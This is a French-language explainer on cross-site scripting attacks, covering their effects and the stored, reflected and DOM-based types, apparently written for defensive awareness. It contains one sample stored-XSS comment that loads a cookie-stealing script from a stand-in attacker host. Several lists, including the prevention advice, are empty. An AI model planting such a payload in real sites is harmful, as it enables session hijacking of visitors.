Les attaques XSS consistent à insérer un code malveillant dans des sites Web par ailleurs fiables. Une attaque XSS se produit quand des cybercriminels injectent un script malveillant dans le contenu du site Web ciblé, qui est ensuite inclus dans le contenu dynamique reçu par le navigateur de la victime. Il est impossible pour le navigateur de différencier les balises valides de celles du hacker et il se contente donc de les exécuter.
Par conséquent, ces scripts malveillants peuvent accéder aux cookies, aux jetons de session ou à d’autres informations sensibles conservées par le navigateur et utilisées sur ce site. Les hackers peuvent aussi se servir du XSS pour diffuser un malware, réécrire le contenu du site, perturber des réseaux sociaux et hameçonner les identifiants d’un utilisateur. Contrairement à d’autres attaques en ligne, les attaques XSS ne ciblent pas directement l’application elle-même, mais plutôt ses utilisateurs.
Le XSS consiste à manipuler un site Web vulnérable, pour qu'il renvoie un script malveillant aux utilisateurs. Souvent, c’est le langage JavaScript qui est privilégié, mais n’importe quel langage de programmation côté client peut être utilisé. Les cybercriminels ciblent des sites Web avec des fonctions vulnérables qui acceptent les entrées utilisateur, comme les barres de recherche, les zones de commentaire ou les formulaires de connexion. Les criminels joignent leur code malveillant au site Web légitime, trompant ainsi les navigateurs pour qu'ils exécutent leur malware chaque fois que le site est visité.
Étant donné que JavaScript s'exécute sur la page du navigateur de la victime, des données sensibles sur l'utilisateur authentifié peuvent être volées lors de la session, ce qui permet aux pirates de cibler les administrateurs de sites et de compromettre les sites Web.
Selon comment le code est injecté, le contenu malveillant peut carrément ne pas être sur la vraie page Web elle-même, mais faire plutôt office d’élément de transition qui ne semble faire partie du site qu'au moment de l'exploitation. Cela peut créer l’illusion que le véritable site Web est compromis, alors que ce n’est pas le cas.
Il y a différentes manières de déclencher une attaque XSS. Elle peut par exemple être exécutée automatiquement lorsque la page se charge ou quand un utilisateur passe sa souris sur des éléments spécifiques d’une page, comme des hyperliens. Dans certains cas, le XSS est réalisé de façon plus directe, comme dans un message d’email. Certaines attaques XSS n’ont pas de cible spécifique. L‘attaquant exploite simplement une vulnérabilité dans l’application ou le site, et attend qu’une victime tombe dans son piège.
Selon l’ampleur de l’attaque, les comptes utilisateurs peuvent être compromis, des trojans activés et le contenu d’un page modifié, pour tromper les utilisateurs et les amener à divulguer des données confidentielles. Des cookies de session peuvent être révélés, permettant à un attaquant de se faire passer pour de vrais utilisateurs et d’exploiter leur compte personnel.
Une attaque XSS réussie peut avoir des conséquences dévastatrices pour la réputation d’un business en ligne et la relation avec ses clients. Malheureusement, les failles qui rendent ces attaques possibles sont assez répandues. Les attaques XSS exploitent les vulnérabilités dans de nombreux environnements de programmation, notamment VBScript, Flash, ActiveX et JavaScript. Elles ciblent principalement JavaScript, en raison de l'intégration étroite de ce langage dans la plupart des navigateurs. Cette capacité à exploiter des plateformes couramment utilisées rend les attaques XSS à la fois dangereuses et répandues.
En exploitant les failles XSS, un attaquant peut effectuer des actions malveillantes comme :
Dans certains cas, une attaque XSS peut conduire à une compromission complète du compte de la victime. Les attaquants peuvent inciter les utilisateurs à saisir leurs informations d'identification sur un faux formulaire, ce qui fournit toutes les informations à l'attaquant. Une fois qu’il obtient les identifiants de l’utilisateur, il peut s’en servir pour voler son identité ou commettre des fraudes financières.
Les attaques XSS peuvent être classées en trois catégories principales : attaques XSS stockées, attaques XSS reflétées, attaques XSS basées sur le DOM.
Attaques XSS stockées (XSS persistant)
Un XSS stocké ou persistant est considéré comme l’attaque de cross-site scripting la plus dévastatrice. Elle se produit quand une page Web va stocker puis afficher un contenu envoyé par un pirate. Les points d’entrée pour les XSS stockés sont généralement des messages sur les forums, des commentaires sur des blogs, des profils utilisateurs et des champs de nom d’utilisateur. Un attaquant exploite généralement cette vulnérabilité en envoyant des charges utiles XSS sur des pages populaires ou en passant un lien à une victime, qui la redirigera vers une page contenant la charge utile XSS stockée. La victime visite la page et la charge utile est exécutée côté client par le navigateur Web de la victime.
Attaques XSS reflétées (XSS non persistant)
Les XSS reflétés représentent l’attaque de cross-site scripting la plus courante. Dans ce cas, la charge utile de l’attaquant doit faire partie de la demande envoyée par le serveur Web. Elle est ensuite renvoyée de manière à ce que la réponse HTTP inclue la charge utile de la demande HTTP. Les attaquants utilisent des liens malveillants, des emails de phishing et d’autres techniques d’ingénierie sociale pour inciter les victimes à effectuer une demande au serveur. La charge utile de l’attaque XSS reflétée est ensuite exécutée dans le navigateur de l’utilisateur.
Comme ce n’est pas une attaque persistante, le pirate doit délivrer la charge utile à chaque victime. Ces attaques sont souvent menées via les réseaux sociaux.
Attaques XSS basées sur le DOM
Le XSS basé sur le DOM fait référence à une faille de cross-site scripting qui apparaît dans le DOM (Document Object Model) au lieu d’être dans une partie de l’HTML. Dans les attaques XSS reflétées et stockées, on peut voir la charge utile de la vulnérabilité dans la page de réponse, mais dans les attaques basées sur le DOM, le code source HTML et la réponse seront les mêmes. En somme, la charge utile ne se trouvera pas dans la réponse. Elle ne pourra être observée qu'au moment de l'exécution ou en examinant le DOM de la page.
Ce type d’attaque se produit généralement côté client et la charge utile malveillante n’est jamais envoyée au serveur. Cela rend la détection encore plus difficile pour les pare-feu d'applications Web (WAF) et les ingénieurs en sécurité qui analysent les journaux des serveurs, car ils ne voient jamais l'attaque. Les objets du DOM qui sont le plus souvent manipulés sont l'URL (document.URL), la partie d’ancrage de l'URL (location.hash) et le référent (document.referrer).
Quand vous naviguez sur un site de commerce électronique, une personne malveillante peut identifier une vulnérabilité qui permet d'intégrer des balises HTML dans la section des commentaires du site. Les balises intégrées deviennent ainsi un élément permanent de la page, ce qui amène le navigateur à les inclure avec le reste du code source chaque fois que la page est ouverte.
L’attaquant écrit un commentaire qui ressemble à ça : Article de très bonne qualité. Lisez mon avis complet ici <script src=”http://attackersite.com/authstealer.js”> </script>.
Après ça, chaque fois qu’un utilisateur accède à la page, la balise HTML dans les commentaires activera un fichier JavaScript, qui sera hébergé sur un autre site et volera les cookies de session du visiteur.
Grâce aux cookies de session, l’attaquant peut compromettre le compte du visiteur, pour avoir facilement accès à ses données personnelles et financières, tandis que le visiteur, lui, ne se rendra compte de rien et ne sera probablement même pas descendu jusque dans la zone des commentaires.
Contrairement à une attaque reflétée, où le script est activé après avoir cliqué sur un lien, l’attaque stockée nécessite seulement que la victime visite la page Web corrompue. Cela augmente la portée de l’attaque, qui touche ainsi tous les visiteurs, même les plus prudents.
Du point de vue de l'attaquant, les attaques XSS persistantes sont plus difficiles à exécuter en raison de la difficulté de trouver à la fois un site Web fréquenté et un site présentant des vulnérabilités permettant l'intégration permanente de scripts.
Pour limiter les failles XSS, les développeurs/propriétaires de site Web doivent :
Pour éviter d’être victimes d’une attaque XSS, les utilisateurs doivent :
Articles connexes :